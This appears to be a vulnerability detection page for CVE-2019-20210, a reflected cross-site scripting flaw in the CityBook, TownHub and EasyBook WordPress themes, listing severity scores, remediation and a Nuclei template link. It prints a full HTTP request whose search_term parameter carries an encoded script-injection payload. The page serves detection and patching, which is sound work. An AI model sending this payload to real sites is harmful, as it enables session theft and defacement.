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CVE-2019-20210: WordPress CTHthemes - Cross-Site Scripting

TitleWordPress CTHthemes - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system.
RemediationUpdate to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability.
CVSS Score6.1
EPSS Score0.00382
CVE IDCVE-2019-20210
CWE IDCWE-79
Tags cve cve2019 wp-theme wpscan wordpress citybook xss cththemes vuln

🔍 Vulnerability Description

WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.

🌐 HTTP Request

GET /?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search&nearby=off&address_lat&address_lng&distance=10&lcats%5B%5D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-20210.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-20210.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A